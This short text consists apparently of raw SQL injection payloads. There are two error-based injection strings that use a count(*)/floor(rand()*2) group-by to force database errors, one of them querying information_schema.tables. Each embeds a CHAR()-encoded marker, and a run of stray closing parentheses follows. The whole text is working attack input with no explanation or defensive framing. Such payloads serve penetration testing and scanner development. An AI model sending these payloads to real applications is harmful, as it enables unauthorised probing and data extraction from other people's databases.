(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(98),CHAR(111),CHAR(100),CHAR(117),CHAR(100),CHAR(97),CHAR(106),CHAR(101)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(98),CHAR(111),CHAR(100),CHAR(117),CHAR(100),CHAR(97),CHAR(106),CHAR(101)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and
)
)
)
)
)
)
